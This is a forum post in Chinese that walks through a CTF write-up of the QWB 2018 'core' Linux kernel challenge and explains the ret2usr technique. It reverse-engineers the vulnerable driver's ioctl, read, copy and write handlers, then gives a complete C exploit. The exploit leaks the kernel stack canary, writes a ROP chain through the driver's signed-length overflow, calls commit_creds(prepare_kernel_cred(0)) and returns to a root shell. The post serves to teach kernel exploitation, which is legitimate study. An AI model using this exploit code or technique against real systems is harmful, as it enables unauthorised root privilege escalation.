首页
社区
课程
招聘
[原创]Linux Kernel Pwn_3_ret2usr
2020-10-4 01:30 5190

[原创]Linux Kernel Pwn_3_ret2usr

2020-10-4 01:30
5190

Linux Kernel Pwn_3_ret2usr

原理:攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。

  • kernel ROP的差别:
    kernel ROP是通过寻找 内核中的gadgets来控制寄存器起提权的。
    图片描述
    而直接ret2usr则可以让内核态的驱动去直接执行用户态的某个函数,这个函数中可以直接通过函数指针调用 调用commit_creds(prepare_kernel_cred(0)) 完成提权。然后用户态“着陆”起shell
    图片描述
    图片描述

强网杯-2018-core

前期准备

解包文件系统

1
2
3
mv core.cpio core.cpio.gz
gzip -d ./core.cpio.gz
cpio -idmv < core.cpio

图片描述

内核启动配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f

可以看到比较重要的就是:

  • 以uid=1000启动
  • /proc/kallsyms拷贝放入/tmp/kallsyms使得我们即使在非root下也能看到对应符号的信息。
  • dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了

qemu启动脚本

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-gdb tcp::1234

注意,此时开启了Kaslr保护。但是没有smep保护


 

这里遇到了一个插曲,当我尝试启动内核的时候,提示:
图片描述
属实令我感到非常奇怪。然后我尝试将qemu启动脚本 中的 -m 64M改成:-m 256M。
成功启动!


驱动逆向

保护如下:
图片描述

core_read

1
2
3
4
5
6
__int64 init_module()
{
  core_proc = proc_create("core", 0x1B6LL, 0LL, &core_fops);    //创建一个proc虚拟文件,应用层通过读写该文件,即可实现与内核的交互。
  printk(&unk_2DE);        //输出提示符:6core:created /proc/core entry
  return 0LL;
}

core_ioctl

通过ioctl来切换到不同的函数执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall core_ioctl(__int64 a1, int choice, __int64 a3)
{
  __int64 v3; // rbx
 
  v3 = a3;
  switch ( choice )
  {
    case 0x6677889B:
      core_read(a3);        //从内核态拷贝栈上数据到用户态
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = v3;            //根据ioctl传进来的参数设置off
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

core_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall core_read(__int64 new_off)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]
 
  v1 = new_off;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
 
  result = copy_to_user(v1, (char *)&v5 + off, 0x40LL);    //向用户态拷贝0x40个字节的内容,内核空间的拷贝起始地址可控(通过off)
 
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}
/*
内核空间-->用户空间
copy_to_user函数
unsigned long copy_to_user(void *to, const void *from, unsigned long n)
to:目标地址(用户空间)
from:源地址(内核空间)
n:将要拷贝数据的字节数
返回:成功返回0,失败返回没有拷贝成功的数据字节数
*/

如果我们可以控制拷贝的长度到canary,那么就可以把内核中的canary泄漏到用户态

core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 __fastcall core_copy_func(signed __int64 my_off)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]
 
  v3 = __readgsqword(0x28u);
  printk(&unk_215);
  if ( my_off > 0x3F )    //检测是否拷贝溢出?
  {
    printk(&unk_2A1);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)my_off);//拷贝bss上的全局变量name,长度为my_off,目标栈上参数v2的地址(rbp-50h
//注意这里的my off本来是有符号数字结果被强制转成了无符号数字
  }
  return result;

core_write

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 size; // rbx
 
  size = a3;
  printk(&unk_215);
  if ( size <= 0x800 && !copy_from_user(&name, a2, size) )   // 从用户空间拷贝内容到内核bss段上
    return (unsigned int)size;
  printk(&unk_230);
  return 0xFFFFFFF2LL;
}

漏洞利用

(1) 通过kallsmys获取 commit_creds(),prepare_kernel_cred() 的地址。同时拿到加载的时的地址偏移。(以及gadgets)
(2) 通过ioctl设置off,通过copy_to_user把canary拉到用户态,达到泄漏canary的目的。
(3) 通过core_write向内核态全局变量name上写rop链。
(4) 通过core_copy_func把name上的内容写到内核栈上,bypass canary,覆盖返回地址。
(5) 通过执行ROP链来进行:调用commit_creds(prepare_kernel_cred(0))完成提权。
(6) 重新返回用户态,“着陆”起shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define N 256
 
size_t user_cs, user_ss, user_rflags, user_sp;  //保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}
 
size_t get_addr(char *name){
    char cmd[N];
    char cmd2[N];
    FILE *f;
    size_t info;
    memset(cmd,0,256);
    memset(cmd2,0,256);
    strcat(cmd,"cd /tmp && cat /tmp/kallsyms | grep ");
    strcat(cmd,name);
    strcat(cmd," >");
    strcat(cmd," ");
    strcat(cmd,name);
    //printf("execute: %s\n",cmd);
    system(cmd);
 
    strcat(cmd2,"/tmp/");
    strcat(cmd2,name);
    //printf("cmd2: %s\n",cmd2);
    f = fopen(cmd2,"r");
    if(!f){
        printf("fopen error!\n");
        exit(-1);
    }
    fscanf(f,"%lx",&info);
    printf("%s : %lx\n",name,info);
    fclose(f);
    return info;
}
void privilge_escalation() {
    char* (*prepare_kernel_cred_ptr)(int) = prepare_kernel_cred;
    int (*commit_creds_ptr)(char *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(0) );
}
void shell(){
    printf("root");
    system("/bin/sh");
}
 
 
 
int main(){
 
    int fd1;
    char buf[0x40]={0};
    size_t rop[0x1000];
    save_status();
    puts("successfully saved user mode status : )");
    startup_64 = get_addr("startup_64");
    prepare_kernel_cred = get_addr("prepare_kernel_cred");
    commit_creds = get_addr("commit_creds");
    offset = startup_64 - 0xffffffff81000000;
    printf("offset : %lx\n",offset);
 
    fd1 = open("/proc/core",O_RDWR);
    if(fd1<0){puts("open /proc/core error!");exit(-1);}
 
    ioctl(fd1,0x6677889C,0x40);         //设置off为0x40,准备将canary拉到用户态 。
    puts("[*] Trying to fuck the canary... :)");
    ioctl(fd1,0x6677889B,buf);          //调用core_read把canary拉回用户态的buf里。
    printf("[*] canary is: %p\n",((size_t *)buf)[0]);   //8个字节为单位输出。
 
    int i;
    for(i=0;i<8;i++){
        rop[i++] = 0x6161616161616161;
    }
    //接下来到达canary的位置
    rop[i++] = canary;
    //rbp
    rop[i++] = 0x6161616161616161;
    //开始覆盖返回地址,直接布置成用户态题圈函数的地址
    rop[i++] = (size_t)privilge_escalation;
    rop[i++] = 0xffffffff818012da+offset; //swapgs ; popfq ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2 + offset; //iretq;ret
    rop[i++] = (size_t)shell;               //rip
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
 
    write(fd1,rop,0x30*8);
    printf("start to pwn :)\n");
    ioctl(fd1,0x6677889A,0xffffffffffff0100);
 
 
 
 
 
 
    return 0;
}

参考

https://www.anquanke.com/post/id/172216#h2-9
https://blog.csdn.net/qq_41071646/article/details/95768194
https://www.jianshu.com/p/8d950a9d8974


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2020-10-4 01:30 被Roland_编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (1)
雪    币: 12098
活跃值: (15499)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2020-10-4 09:46
2
0
mark,感谢分享
游客
登录 | 注册 方可回帖
返回